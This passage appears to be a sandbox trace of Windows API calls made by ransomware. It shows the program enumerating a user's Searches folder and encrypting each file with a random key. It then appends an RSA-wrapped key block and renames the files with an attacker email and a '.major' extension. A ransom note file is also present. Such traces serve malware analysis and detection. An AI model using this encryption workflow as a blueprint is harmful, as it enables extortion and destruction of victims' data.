dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0148.879] FindNextFileW (in: hFindFile=0x630a80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x44242e24, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44242e24, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x44242e24, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0148.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0148.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0148.879] GetLastError () returned 0x0 [0148.879] SetLastError (dwErrCode=0x0) [0148.879] GetLastError () returned 0x0 [0148.879] SetLastError (dwErrCode=0x0) [0148.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0148.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0148.879] GetLastError () returned 0x0 [0148.880] SetLastError (dwErrCode=0x0) [0148.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0148.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0148.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdd30 [0148.880] FindNextFileW (in: hFindFile=0x630a80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152aa46e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x152aa46e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x152aa46e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0148.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0148.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0148.880] GetLastError () returned 0x0 [0148.880] SetLastError (dwErrCode=0x0) [0148.880] GetLastError () returned 0x0 [0148.880] SetLastError (dwErrCode=0x0) [0148.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0148.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0148.880] GetLastError () returned 0x0 [0148.880] SetLastError (dwErrCode=0x0) [0148.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.880] FindNextFileW (in: hFindFile=0x630a80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b71b019, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b71b019, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2b71b019, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", cAlternateFileName="WINRT-~1.SEA")) returned 1 [0148.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0148.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0148.880] GetLastError () returned 0x0 [0148.880] SetLastError (dwErrCode=0x0) [0148.880] GetLastError () returned 0x0 [0148.880] SetLastError (dwErrCode=0x0) [0148.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0148.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0148.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0148.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0148.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bf3d8 [0148.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0148.881] GetLastError () returned 0x0 [0148.881] SetLastError (dwErrCode=0x0) [0148.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57eca8 [0148.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0148.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0148.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0148.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5afc00 [0148.881] FindNextFileW (in: hFindFile=0x630a80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b71b019, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b71b019, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2b71b019, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", cAlternateFileName="WINRT-~1.SEA")) returned 0 [0148.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b07d0 [0148.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.881] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.881] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", dwFileAttributes=0x80) returned 1 [0148.967] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b11f0 [0148.967] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x57eca8 [0148.967] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b11f0 | out: hHeap=0x570000) returned 1 [0148.967] CreateFileW (lpFileName="\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms" (normalized: "c:\\users\\fd1hvy\\searches\\winrt--{s-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608 [0148.967] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=855) returned 1 [0148.968] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x357) returned 0x5a8108 [0148.968] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x357) returned 0x5b5a90 [0148.968] ReadFile (in: hFile=0x608, lpBuffer=0x5a8108, nNumberOfBytesToRead=0x357, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesRead=0x2e3f9b4*=0x357, lpOverlapped=0x0) returned 1 [0148.979] SetFilePointer (in: hFile=0x608, lDistanceToMove=-855, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.979] WriteFile (in: hFile=0x608, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x357, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x357, lpOverlapped=0x0) returned 1 [0148.979] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0148.979] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0148.979] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x357 [0148.979] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.979] WriteFile (in: hFile=0x608, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.980] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.980] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.980] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.980] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.980] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="hnln9/4Z6pzoyzr8aM3AwsVkmQHyhuwa4fH9h1RgZq9No9B9MVZZkclf5AT3IraJ\nv1REHumtYVVLyHLlrJuWeMqLnvcg5D4ZyNUT+DQGPaC53BzOSS8XgEInaTOuzjxI\nzXw6RoAe0JSE4eYre7ijPogrQHwWk33/MexNdTnAUk7fXStX8oNnjwtZ/TKr0zTj\n9FGNB1xxMYES4TbqcnyAYi31hIKTQKajBS6hF2Jbu6IVWStjcQwGydWC5zPkzdV2\nIjrlNPYrLx1YGyJHNnJrA5yIKLx3jh3XU9Y6xR/cumddy7xPsrWOxViQPGscfQ12\nhjlOZQD74OFxQCaD3eEkDw==\n", pcchString=0x2e3f9a8) returned 1 [0148.980] WriteFile (in: hFile=0x608, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.980] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.980] WriteFile (in: hFile=0x608, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.980] CloseHandle (hObject=0x608) returned 1 [0148.981] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.981] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms" (normalized: "c:\\users\\fd1hvy\\searches\\winrt--{s-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms"), lpNewFileName="\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\searches\\winrt--{s-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0148.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b07d0 | out: hHeap=0x570000) returned 1 [0148.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5afc00 | out: hHeap=0x570000) returned 1 [0148.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde98 [0148.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.982] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.983] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms", dwFileAttributes=0x80) returned 1 [0148.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0148.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0e30 [0148.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0148.983] CreateFileW (lpFileName="\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608 [0148.983] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=248) returned 1 [0148.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf8) returned 0x57eca8 [0148.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf8) returned 0x57eda8 [0148.983] ReadFile (in: hFile=0x608, lpBuffer=0x57eca8, nNumberOfBytesToRead=0xf8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0xf8, lpOverlapped=0x0) returned 1 [0148.985] SetFilePointer (in: hFile=0x608, lDistanceToMove=-248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.985] WriteFile (in: hFile=0x608, lpBuffer=0x57eda8*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eda8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf8, lpOverlapped=0x0) returned 1 [0148.985] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0148.985] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eda8 | out: hHeap=0x570000) returned 1 [0148.985] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf8 [0148.985] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.985] WriteFile (in: hFile=0x608, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.985] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.985] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.986] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.986] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.986] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="kR2HhzYs4c/5gfuYxNlncaFEBMW04LUtUG3koWomifkYeEErTJzFj/ZxBxzl6MAt\nIXgOuQc5GZuC58Lb8L5G2lM4SrznR/JKflyjym91wuLegZHXiCBT6QmgYo4jrJ+f\nxTI4P2/uwXGCBA+10U6cbb9x3geWlu/aa1vgkOWuN1z4O/rfewZKXXzvH3QUcuUD\n1WSofLPASFafToGdoV+4e3qCXva2wigWYaR8My6S3zMDxzPCk0/4T9rtxYSM344H\nQt4FgOoCnCf/ha6a6FaMV7Ghv7Xbwtn5lN0qles5wJSXuDsKzlJpmam5E5znZsWt\nuPKWFpRcbOKbxVgBF+q2JA==\n", pcchString=0x2e3f9a8) returned 1 [0148.986] WriteFile (in: hFile=0x608, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.987] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.987] WriteFile (in: hFile=0x608, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.987] CloseHandle (hObject=0x608) returned 1 [0148.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.987] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\indexed locations.search-ms"), lpNewFileName="\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\searches\\indexed locations.search-ms.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.215] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0e30 | out: hHeap=0x570000) returned 1 [0149.215] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.215] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x570000) returned 1 [0149.215] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0149.215] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0149.215] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5899c8 [0149.215] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.215] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Searches\\Everywhere.search-ms", dwFileAttributes=0x80) returned 1 [0149.216] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0149.216] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0149.216] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0149.216] CreateFileW (lpFileName="\\Users\\FD1HVy\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608 [0149.216] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=248) returned 1 [0149.216] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf8) returned 0x57eca8 [0149.216] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf8) returned 0x57eda8 [0149.216] ReadFile (in: hFile=0x608, lpBuffer=0x57eca8, nNumberOfBytesToRead=0xf8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0xf8, lpOverlapped=0x0) returned 1 [0149.217] SetFilePointer (in: hFile=0x608, lDistanceToMove=-248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.217] WriteFile (in: hFile=0x608, lpBuffer=0x57eda8*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eda8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf8, lpOverlapped=0x0) returned 1 [0149.217] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0149.217] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eda8 | out: hHeap=0x570000) returned 1 [0149.217] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf8 [0149.217] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.217] WriteFile (in: hFile=0x608, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.218] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.218] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.218] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.218] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.218] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Lk6jghUDsUXqOoj33p67NG+hmJzPg46X0DHOIiAtjfNXJa7TVPDprdxFss5+9pGV\ngBhy100XfFsWg7bcQTWANw/PdFYBacuWMxWNZCgIV9/zAKhiO1knd3on5cd0c5cJ\nVj77hY/T5VhtwZbs+yN9ca42ZG1tnbT/jmO9h1+Q6+vn9soG7vDNGoUYIoF8oMhD\ntAN7lVOFmaghNUeucTd0QevrM9RDsfSfOCA+a7I+ByiQobWD0QTV+HAeJ0KynNGI\n+YNSmdL2nJZJjlQ+9i70KiiUR0fxRz4jwSUis8yUo9rwlEiT0EfwVwiQG4VTnjvH\nxfluu+2pfIQYY19kUVAKsw==\n", pcchString=0x2e3f9a8) returned 1 [0149.218] WriteFile (in: hFile=0x608, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.218] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.219] WriteFile (in: hFile=0x608, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.219] CloseHandle (hObject=0x608) returned 1 [0149.219] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.219] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\everywhere.search-ms"), lpNewFileName="\\Users\\FD1HVy\\Searches\\Everywhere.search-ms.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\searches\\everywhere.search-ms.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.221] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0149.221] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5899c8 | out: hHeap=0x570000) returned 1 [0149.221] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0149.221] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0149.221] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0149.221] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.221] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.221] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Searches\\desktop.ini", dwFileAttributes=0x80) returned 1 [0149.221] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0149.221] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57eca8 [0149.221] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0149.221] CreateFileW (lpFileName="\\Users\\FD1HVy\\Searches\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\searches\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608 [0149.221] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=524) returned 1 [0149.221] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20c) returned 0x5c1ce8 [0149.221] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20c) returned 0x5a8108 [0149.222] ReadFile (in: hFile=0x608, lpBuffer=0x5c1ce8, nNumberOfBytesToRead=0x20c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesRead=0x2e3f9b4*=0x20c, lpOverlapped=0x0) returned 1 [0149.222] SetFilePointer (in: hFile=0x608, lDistanceToMove=-524, 